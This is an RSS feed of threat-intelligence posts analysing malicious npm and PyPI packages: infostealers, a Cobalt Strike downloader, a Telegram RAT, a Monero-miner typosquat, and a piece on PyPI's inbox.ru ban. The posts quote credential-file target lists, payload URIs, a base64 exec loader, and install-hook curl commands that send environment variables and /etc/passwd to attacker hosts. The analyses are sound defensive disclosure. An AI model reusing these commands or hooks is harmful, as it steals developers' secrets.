<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pyanalysis &#8211; PT ESC</title>
	<atom:link href="https://ptesc.tech/en/tag/pyanalysis/feed/" rel="self" type="application/rss+xml" />
	<link>https://ptesc.tech/en/</link>
	<description></description>
	<lastBuildDate>Mon, 05 Oct 2026 10:48:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.4</generator>

<image>
	<url>https://ptesc.tech/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>pyanalysis &#8211; PT ESC</title>
	<link>https://ptesc.tech/en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>A logging library and an infostealer to boot? No thanks</title>
		<link>https://ptesc.tech/en/a-logger-library-with-an-infostealer-thrown-in-no-thanks/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 07 Apr 2026 16:41:24 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b1%d0%b8%d0%b1%d0%bb%d0%b8%d0%be%d1%82%d0%b5%d0%ba%d0%b0-%d0%bb%d0%be%d0%b3%d0%b3%d0%b5%d1%80-%d0%b8-%d0%b8%d0%bd%d1%84%d0%be%d1%81%d1%82%d0%b8%d0%bb%d0%b5%d1%80-%d0%b2-%d0%bf%d1%80%d0%b8%d0%b4/</guid>

					<description><![CDATA[A logging library and an infostealer to boot? No thanks 👋 A lot has happened recently. For example, someone decided to play patron of the arts and published 30 releases with the names of NPM logging libraries: • @logcore/pino-pretty-logger…]]></description>
										<content:encoded><![CDATA[<strong>A logging library and an infostealer to boot? No thanks</strong> 👋<br />
<br />
A lot has happened recently. For example, someone decided to play patron of the arts and published 30 releases with the names of NPM logging libraries:<br />
<br />
• <code>@logcore/pino-pretty-logger</code><br />
• <code>console-loggers
</code>• <code>jellyfi-pino-pretty-logger</code><br />
• j<code>onas-prettier-logger</code><br />
• <code>logger-beauty</code><br />
• <code>pino-logger-utils</code><br />
• <code>pino-pretty-log</code><br />
• <code>pino-pretty-logger</code><br />
• <code>pretty-pino-logger</code><br />
• <code>pretty-ts-logger</code><br />
• <code>ts-moduler</code><br />
• <code>wrapped-logger-utils</code><br />
<br />
This isn&#8217;t just a spam campaign: these libraries carry an infostealer and a backdoor.<br />
<br />
This time we even managed to lose to someone in the race for the title of &#8220;fastest hand in the wild open source&#8221; — we were the first to report only 5 out of 12 packages 🥺<br />
<br />
The campaign uses obfuscation. Initially the attacker protected only variable names, but then started XOR-ing strings (<em>screenshots 1, 2</em>).<br />
<br />
<strong>The malicious logic activates during library import:</strong><br />
<br />
1️⃣Determining the victim&#8217;s OS and collecting basic system information (network device IP address, username).<br />
<br />
2️⃣Parallel execution of two tasks:<br />
<br />
🔗Quick theft: sending the <code>.env</code> file to the attacker&#8217;s server if it exists in the current working directory.<br />
<br />
🔗Traversing the home directory in search of files with <code>.env</code> / <code>.json</code> extensions. There&#8217;s a small optimization in the code — the following folders will be skipped during traversal:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">'node_modules', 'Library', 'System', 'Windows', 'Program Files', 'ProgramData',
'build', 'dist', 'out', 'output', 'release', 'bin', 'obj', 'Debug', 'Release',
'target', 'target2', 'public', 'private', 'tmp', 'temp', 'var', 'cache', 'log',
'logs', 'sample', 'samples',
'assets', 'media', 'fonts', 'icons', 'images', 'img', 'static', 'resources', 'audio', 'videos', 'video', 'music',
'svn', 'cvs', 'hg', 'mercurial', 'registry',
'__MACOSX', 'vscode', 'eslint', 'prettier', 'yarn', 'pnpm', 'next',
'pkg', 'move', 'rustup', 'toolchains',
'migrations', 'snapshots', 'ssh', 'socket.io', 'svelte-kit', 'vite',
'coverage', 'history', 'terraform'</code></span></pre><br />
<br />
Linux users are especially out of luck: a new public SSH key will be dropped into their <code>~/.ssh/authorized_keys</code>. With the sshd service running and ssh-key authentication allowed for the current user, this will let the attacker connect to the device 😍<br />
<br />
On Windows, in addition to traversing the home directory, the stealer will go through all connected drives.<br />
<br />
3️⃣Sending all collected data to the attacker&#8217;s server.<br />
<br />
———<br />
<br />
In versions of the package that use more advanced obfuscation, the attacker specifies exactly which files they need:<br />
<br />
<pre class="wp-block-code"><span><code lang="javascript" class="hljs language-javascript language-javascript"><span class="hljs-keyword">const</span> ENV_LIKE_FILES = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(&#91;
    <span class="hljs-string">'.env'</span>, <span class="hljs-string">'.env.local'</span>, <span class="hljs-string">'.env.production'</span>, <span class="hljs-string">'.env.development'</span>,
    <span class="hljs-string">'.config'</span>, <span class="hljs-string">'.npmrc'</span>, <span class="hljs-string">'.pypirc'</span>, <span class="hljs-string">'.git-credentials'</span>, <span class="hljs-string">'wallet.dat'</span>, <span class="hljs-string">'id.json'</span>, <span class="hljs-string">'key.json'</span>, <span class="hljs-string">'keystore/*.json'</span>,
]);
<span class="hljs-keyword">const</span> JSON_LIKE_FILES = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(&#91;<span class="hljs-string">'config.json'</span>, <span class="hljs-string">'settings.json'</span>, <span class="hljs-string">'secrets.json'</span>]);</code></span></pre><br />
<br />
This is probably due to the large amount of junk when collecting all json files.<br />
<br />
Theft of the <code>tdata</code> directory, which contains Telegram session data, has also been added 🤢<br />
<br />
———<br />
<br />
The usual reminder: don&#8217;t let your guard down when working with open-source projects 😑<br />
<br />
<span class="hashtag">#npm</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a> (<a href="https://x.com/ptescalator" rel="noopener" target="_blank">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">Max</a>)

<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-1536x1536.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-2048x2048.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Unusual obfuscation is always beautiful...</title>
		<link>https://ptesc.tech/en/unusual-obfuscation-is-always-beautiful/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Wed, 11 Mar 2026 13:02:42 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bd%d0%b5%d0%be%d0%b1%d1%8b%d1%87%d0%bd%d0%b0%d1%8f-%d0%be%d0%b1%d1%84%d1%83%d1%81%d0%ba%d0%b0%d1%86%d0%b8%d1%8f-%d1%8d%d1%82%d0%be-%d0%b2%d1%81%d0%b5%d0%b3%d0%b4%d0%b0-%d0%ba%d1%80%d0%b0/</guid>

					<description><![CDATA[Unusual obfuscation is always beautiful... 🥰 ... it's just a shame that you have to see it in trojanized open-source packages, and not only at Capture The Flag (CTF) information security competitions. One of the attacker's tasks is to make…]]></description>
										<content:encoded><![CDATA[<p><strong>Unusual obfuscation is always beautiful&#8230; </strong><strong>🥰</strong></p>
<p>&#8230; it&#8217;s just a shame that you have to see it in trojanized open-source packages, and not only at Capture The Flag (CTF) information security competitions.</p>
<p>One of the attacker&#8217;s tasks is to make a malicious package that looks legitimate. This allows them to evade detection longer.</p>
<p>We noticed an interesting PyPI campaign that includes the library <code>requests-ml-min</code> authored by <code>scott.fitzgerald</code>. It contains only six Python files:</p>
<p>1️⃣ <code>setup.py</code>. There is execution of <code>ModelInstall</code> at install time, but that&#8217;s not a crime: there are many projects that install something extra or compile at this stage.</p>
<p>2️⃣ <code>tests/test_pnotify.py</code>. Nothing unusual.</p>
<p>3️⃣ <code>tests/test_utils.py</code>. Nothing unusual.</p>
<p>4️⃣ r<code>esource/resource.py</code> (<em>screenshot 1</em>). Contains an array of 145 UUID identifiers and a concatenation function&#8230; 🤪 Original, attempt counted 🙂</p>
<p>5️⃣ <code>src/audit/perf.py</code> (<em>screenshot 2</em>). Collecting system information, packing it into base64, sending it. 👍 Ten detections out of ten for stealer-style system information collection.</p>
<p>6️⃣ s<code>rc/utils/utils.py</code> (<em>screenshot 3</em>). Implements helper functions. Strings are obfuscated via arrays of ASCII codes&#8230; 🏃‍♀️ Are we solving a reverse CTF task for 100?</p>
<p><strong>About the file </strong><code>resource/resource.py</code></p>
<p>Behind the obfuscation hides a beautiful downloader + process injector. Beautiful because the downloaded file, which is shellcode, is located at the following URI:</p>
<p><code>https://storage.googleapis.com/py-pi/python_win</code></p>
<p>The shellcode will be injected into a separately launched process <code>werfault.exe</code>. The payload is a Cobalt Strike loader.</p>
<p><strong>Actions of the PyPI package during installation:</strong></p>
<p>🤔 Will collect system information (<em>screenshot 2)</em>.</p>
<p>🤔 Will send it to <code>https://us-central1-bucket-438814.cloudfunctions.net/ping/api/v1/ping</code><br />
 (by the way, another beautiful URI).</p>
<p>🤔 Will make sure the victim is on the whitelist. To do this, it will get the victim&#8217;s domain, hash it with the SHA-256 algorithm, and make sure the hash matches one of seven expected ones. This is a good anti-analysis method, since it complicates the work of researchers 🙂</p>
<p>🤔 If the victim is on the whitelist, it will launch the Cobalt Strike payload.</p>
<p>It&#8217;s curious that the code allows preparing a payload for Windows, Linux, and macOS, but the author added only the Windows variant.</p>
<p><strong>We managed to recover the source text for four of the seven hashes:</strong><br />
🌟<code>desktop</code><br />
🌟<code>abd.local</code><br />
🌟<code>exttest.local</code><br />
🌟<code>extprod.local</code></p>
<p>You can leave your guesses about the nature of these domains in the comments 🤨</p>
<p>Given the list of targets the library limits itself to, this could be a pentest or a bug bounty. At least, let&#8217;s hope so — a library this beautiful is not something you come across very often.</p>
<p><span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a> (<a href="https://x.com/ptescalator" rel="noopener" target="_blank">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">Max</a>)</p>
<figure class="wp-block-image"><img width="1024" height="892" src="https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-1024x892.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-1024x892.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-300x261.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-768x669.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42.jpg 1277w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="945" src="https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-1024x945.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-1024x945.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-300x277.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-768x709.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42.jpg 1277w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>pip install teligram</title>
		<link>https://ptesc.tech/en/pip-install-teligram/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 10 Feb 2026 14:36:18 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/pip-install-teligram/</guid>

					<description><![CDATA[pip install teligram 🧐 (better not run it) On February 8, the teligram library was published. Its description reads: Telegram-based friendly library. Alas, as usual in our posts, there are no miracles — the library is a custom Remote Access…]]></description>
										<content:encoded><![CDATA[<p><strong>pip install teligram</strong> 🧐 <span class="spoiler">(better not run it)</span></p>
<p>On February 8, the <code>teligram</code> library was published.</p>
<p>Its description reads: <code>Telegram-based friendly library</code>.</p>
<p>Alas, as usual in our posts, there are no miracles — the library is a custom Remote Access Tool (RAT).</p>
<p><strong>Its features:</strong></p>
<p>• Traces of LLM usage are present.</p>
<p>• Contains one large function <code>khelo</code>, which implements 16 sub-functions.</p>
<p>• Traces of the Indian language are present (<code>khelo</code> translates to &#8220;play&#8221;; the chosen developer name <code>Om Devendra</code> is Indian).</p>
<p>• The code is not obfuscated, and the bot&#8217;s greeting sent when using the <code>/help</code> and <code>/start</code> commands by an administrator reflects the capabilities:</p>
<pre><code>Available commands:
pwd - Show current directory
ls or ls -la - List files
cd &lt;directory&gt; - Change directory
whoami - Show current user
date - Show date and time

TAKE COMMANDS:
1. take &lt;number&gt; - Get the nth file
   Example: take 1

2. take &lt;file_name&gt; - Get file by name
   Example: take myfile.txt

3. take .&lt;extension&gt; - Get all files with extension
   Example: take .jpg or take .py

4. take all - Get ALL non-empty files

5. /send - Upload files to current directory

Special features:
- Working directory saved between commands
- Empty files automatically skipped</code></pre>
<p>Version 1.0.0 does not have post-install launch functionality. The other versions did not have time to be released — the package was sent to quarantine, although it existed for 19 hours.</p>
<p>💬 By the way, you can now read ESCalator <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">on MAX as well</a><a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">.</a> And this is not a scam.</p>
<p><span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>The city celebrates, the mafia wakes up</title>
		<link>https://ptesc.tech/en/the-city-celebrates-the-mafia-awakens/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Mon, 19 Jan 2026 15:05:12 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b3%d0%be%d1%80%d0%be%d0%b4-%d0%bf%d1%80%d0%b0%d0%b7%d0%b4%d0%bd%d1%83%d0%b5%d1%82-%d0%bf%d1%80%d0%be%d1%81%d1%8b%d0%bf%d0%b0%d0%b5%d1%82%d1%81%d1%8f-%d0%bc%d0%b0%d1%84%d0%b8%d1%8f/</guid>

					<description><![CDATA[The city celebrates, the mafia wakes up 🥰 Between January 1 and 11, approximately 180 malicious packages were removed from the NPM ecosystem, and 16 from PyPI. Attackers on PyPI are lazy. We'll tell you about a little New Year's magic withi…]]></description>
										<content:encoded><![CDATA[<strong>The city celebrates, the mafia wakes up </strong><strong>🥰</strong><br />
<br />
Between January 1 and 11, approximately 180 malicious packages were removed from the NPM ecosystem, and 16 from PyPI. <s>Attackers on PyPI are lazy</s>. We&#8217;ll tell you about a little New Year&#8217;s magic within a single PyPI package.<br />
<br />
On January 4, user <code>ambertransit</code> published a project called <code>aiihttp</code>, whose name mimics the http client <code>aiohttp</code>.<br />
<br />
The code begins with simple obfuscation:<br />
<br />
<pre class="wp-block-code"><span><code lang="python" class="hljs language-python language-python"><span class="hljs-keyword">import</span> base64

exec(base64.b64decode(<span class="hljs-string">'aW1wb3J0IGl...'</span>)</code></span></pre><br />
<br />
The logic hidden behind base64 is shown in the first screenshot. Key points:<br />
<br />
<strong>•</strong> The package gentlemanly helps the developer who made a typo: it deletes itself, installs <code>aiohttp</code> [item 1 in screenshot 1], then reloads the module if it was already imported [2].<br />
<br />
<strong>•</strong> The next stage is hosted on GitHub [3]. However, it&#8217;s not that simple — it&#8217;s encrypted with a 32-character XOR [4]. The key uses the alphabet <code>[a-f0-9]{32}</code>, which resembles MD5 in format, but we found no additional meaning behind it.<br />
<br />
<strong>•</strong> Persistence in the system is achieved via the registry [5]. The stage will execute the next time the user logs into the system.<br />
<br />
The GitHub account is active and has been uploading malware since May 2024. Using XOR, even with a 32-byte key, without a cipher block chaining mode makes executables not so well protected 😁 (the second screenshot shows the blob downloaded by the malicious code). The same picture is observed toward the end of the file, which is also rich in null bytes.<br />
<br />
The executable is a miner for the Monero cryptocurrency. As a result of the campaign, the attacker managed to mine 15.7 <span class="spoiler">(not million)</span> rubles 🤑<br />
<br />
Be careful in open source — it&#8217;s fertile ground for attackers&#8217; activities 😼

<figure class="wp-block-image"><img width="1024" height="862" src="https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-1024x862.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-1024x862.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-300x252.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-768x646.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Node JS. Malicious activity at the installation stage</title>
		<link>https://ptesc.tech/en/node-js-malicious-activity-at-the-installation-stage/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 29 Jul 2025 17:58:09 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/node-js-%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd%d0%b0%d1%8f-%d0%b0%d0%ba%d1%82%d0%b8%d0%b2%d0%bd%d0%be%d1%81%d1%82%d1%8c-%d0%bd%d0%b0-%d1%81%d1%82%d0%b0%d0%b4%d0%b8%d0%b8-%d1%83%d1%81/</guid>

					<description><![CDATA[Node JS. Malicious activity at the installation stage As part of researching the actions of attackers in npm (Node Package Manager, the main repository of JS code), we decided to take a peek into this area. JavaScript packages have a mechan…]]></description>
										<content:encoded><![CDATA[<strong>Node JS. Malicious activity at the installation stage</strong><br />
<br />
As part of researching the actions of attackers in npm (Node Package Manager, the main repository of JS code), we decided to take a peek into this area.<br />
<br />
JavaScript packages have a mechanism for running scripts at the installation stage. It is described in the <code>package.json</code> configuration file in the <code>scripts</code> section:<br />
<br />
<pre class="wp-block-code"><span><code lang="json" class="hljs language-json language-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"&lt;from-ptescalator-with-love&gt;"</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0.0"</span>,
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"Example config of package.json for demonstration-purposes"</span>,
  <span class="hljs-attr">"main"</span>: <span class="hljs-string">"hello.js"</span>,
  <span class="hljs-attr">"scripts"</span>: {
    <span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"echo \"I will be run at pre-install stage\""</span>,
    <span class="hljs-attr">"install"</span>: <span class="hljs-string">"echo \"I will be run at install stage\""</span>,
    <span class="hljs-attr">"postinstall"</span>: <span class="hljs-string">"echo \"I will be run at post-install stage\""</span>
  }
}
</code></span></pre><br />
<br />
The values are commands for the system interpreter, whether it be sh, bash, fish, or even Windows cmd — whichever is set by default will be used 😎<br />
<br />
Attackers take two paths when exploiting the ability to run their payload during installation:<br />
<br />
🫥 Run js code<br />
<br />
<code>atlas-websocket@33.9.9</code>, postinstall:<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">node index.js
</code></span></pre><br />
<br />
<code>wokes@1.0.0</code>, postinstall:<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">node cli/setup-security.js
</code></span></pre><br />
<br />
🫥 Execute a command via the system interpreter:<br />
<br />
<code>autogestion-aprendizaje@1.0.4</code>, preinstall, passing <code>hostname</code>:<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"No tests"</span> &amp;&amp; curl <span class="hljs-string">"http://&#91;REDACTED].net/?NPM=<span class="hljs-variable">$(hostname)</span>&amp;&lt;template&gt;"</span>
</code></span></pre><br />
<br />
<code>bsee-shared-hmd@1.0.6</code>, preinstall, stealing <code>/etc/passwd</code> and obtaining <code>hostname</code>:<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">sh -c 'curl -X POST -d "user=$(whoami)&amp;host=$(hostname)&amp;passwd=$(cat /etc/passwd | base64)" https://webhook-test.com/&#91;REDACTED]'
</code></span></pre><br />
<code>
storyblok-rich-text-astro-renderer-workspace@99.99.99</code>, postinstall, stealing environment variables:<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash">curl -X POST https://&#91;REDACTED].oastify.com --data <span class="hljs-string">"<span class="hljs-variable">$(env)</span>"</span>
</code></span></pre><br />
<code>
arkoselabs@99.9.13</code>, preinstall, stealing environment variables, <code>/etc/passwd</code>, <code>hostname</code>, and username:<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash">curl --data-urlencode <span class="hljs-string">"info=<span class="hljs-variable">$(hostname &amp;&amp; whoami &amp;&amp; cat /proc/self/environ &amp;&amp; cat /etc/passwd)</span>"</span> http://&#91;REDACTED].oast.me<span class="hljs-string">"
</span></code></span></pre><br />
<br />
<s>If this post gets 1000 hearts</s>🥰 Next time we will talk about the variety of payload scripts at the installation stage of JS packages.<br />
<br />
<span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Drama around PyPI: 🪰⮕🐘?</title>
		<link>https://ptesc.tech/en/passions-around-pypi/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Mon, 21 Jul 2025 15:26:04 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%81%d1%82%d1%80%d0%b0%d1%81%d1%82%d0%b8-%d0%b2%d0%be%d0%ba%d1%80%d1%83%d0%b3-pypi-%f0%9f%aa%b0%e2%ae%95%f0%9f%90%98/</guid>

					<description><![CDATA[Drama around PyPI: 🪰⮕🐘? Last week, CNews published a news item: "Russians driven out of the Python community. Only the chosen ones for now, but the selection criteria are extremely strange". It reveals that the Python Package Index (PyPI)…]]></description>
										<content:encoded><![CDATA[<strong>Drama around PyPI: 🪰⮕🐘?</strong>

Last week, CNews published a news item: &#8220;<a href="https://zoom.cnews.ru/soft/news/line/2025-07-17_rossiyan_pognali_iz_soobshchestva" target="_blank" rel="noopener">Russians driven out of the Python community. Only the chosen ones for now, but the selection criteria are extremely strange</a>&#8220;. It reveals that the Python Package Index (PyPI), the largest repository of Python packages, has banned the registration of new users with email addresses on the <a href="http://inbox.ru" target="_blank" rel="noopener">inbox.ru</a> domain.
<blockquote>The official statement says that a wave of spam came from inbox.ru mailboxes — users with such email created 250 profiles and added over one and a half thousand projects to them, which allegedly &#8220;deceive users and pose a security threat&#8221; (leading to end-user confusion, abuse of resources, and potential security issues).</blockquote>
The blocking of Russians in various communities is a hot topic. It was cited by other publications as well.
<a href="https://t.me/banksta/74708" target="_blank" rel="noopener">
@banksta</a>:
<blockquote>Russians are being expelled from the Python programming community. They have been banned from using the PyPI repository with packages for Python. The restrictions only affected those who create a new account linked to an inboxru email and those who want to add such an email to an existing profile. The domain belongs to Mailru.</blockquote>
<a href="https://t.me/imaxairu/17131" target="_blank" rel="noopener">@imaxairu</a>:
<blockquote>Russians banned from using the PyPI repository with packages for Python

The restrictions only affected those who create a new account linked to an inbox .ru email and those who want to add such an email to an existing profile

The domain belongs to Mail .ru. The limits do not yet extend to other domains of the company</blockquote>
The Supply Chain Security team actively collaborates with PyPI in the area of trojan detection. We decided to validate whether the actions of the repository&#8217;s administration were justified.

<strong>Assessing the official statements</strong>

CNews references <a href="https://blog.pypi.org/posts/2025-06-15-prohibiting-inbox-ru-emails/" target="_blank" rel="noopener">a post on the PyPI blog</a> published on July 15, 2025. It states that, guided by the practice of blocking spam email domains, they are closing registration of new users on the Python Package Index using email on the <code>inbox.ru</code> domain.

The PyPI administration <a href="https://blog.pypi.org/posts/2024-06-16-prohibiting-msn-emails/" target="_blank" rel="noopener">made a similar decision a year ago</a>, on June 16, 2024, regarding the domains <code>outlook.com</code> and <code>hotmail.com</code> (owned by Microsoft) — they became a favorite solution for attackers due to the ease of mass domain registration.

It should be clarified that downloading packages does not require registration. An account is needed to publish your own projects.

PyPI provides statistics:

<pre class="wp-block-code"><span><code class="hljs language-plaintext">June 9: the first account of the campaign appeared.
June 11: 46 accounts were created in 3 hours.
June 24: 207 accounts were created in 4 hours.
From June 26 to July 7, they created 1525 projects:
2025-06-26  9
2025-06-27  295
2025-06-28  39
2025-06-29  119
2025-06-30  740
2025-07-01  249
2025-07-02  46
2025-07-10  16
2025-07-11  12</code></span></pre>

In our opinion, there is no legitimate scenario in which a single user would need that many accounts. Creating a large number of projects makes sense in the fight against namesquatting (<a href="https://t.me/disasm_me_ch/447" target="_blank" rel="noopener">using Yandex as an example</a>), but one account is enough for that.

Let&#8217;s pay attention to the last paragraph of the PyPI post (translation below):
<blockquote>We hope that we will be able to reverse this decision in the future when we are more confident in this email provider&#8217;s ability to prevent abuse. If you work at this provider, please write to us at security@pypi.org to discuss this decision.</blockquote>
Let&#8217;s look into the campaign.

<strong>Nature of the campaign</strong>

Let&#8217;s examine the projects that published their first release during the campaign period of June 26 — July 7, capturing additional time on the left and right for clarity: from June 12 to July 15.

A developer, when publishing a project, may optionally leave an email for feedback. During this interval, only 4 packages were published with an explicit email on <code>@inbox.ru</code>, all legitimate.

Chart 1 (see below) demonstrates whether the developer chose to provide an email in the first release of their project.

<img fetchpriority="high" decoding="async" class="attachment-large size-large" src="https://ptesc.tech/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-1024x526.jpg" sizes="auto, (max-width: 1024px) 100vw, 1024px" srcset="https://ptesc.tech/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-1024x526.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-300x154.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-768x395.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11.jpg 1280w" alt="" width="1024" height="526" />
We observe:
1. A drop in overall developer activity on weekends (two-day pits are visible, alternating with five-day workweeks).
2. Spikes in packages without email, published on June 27 (378), June 30 (662), July 1 (509).

The second observation correlates with PyPI&#8217;s statistics: on June 27, 295 packages were published on <code>@inbox.ru</code>, on June 30 — 740, on July 1 — 249, adjusted for time zones.

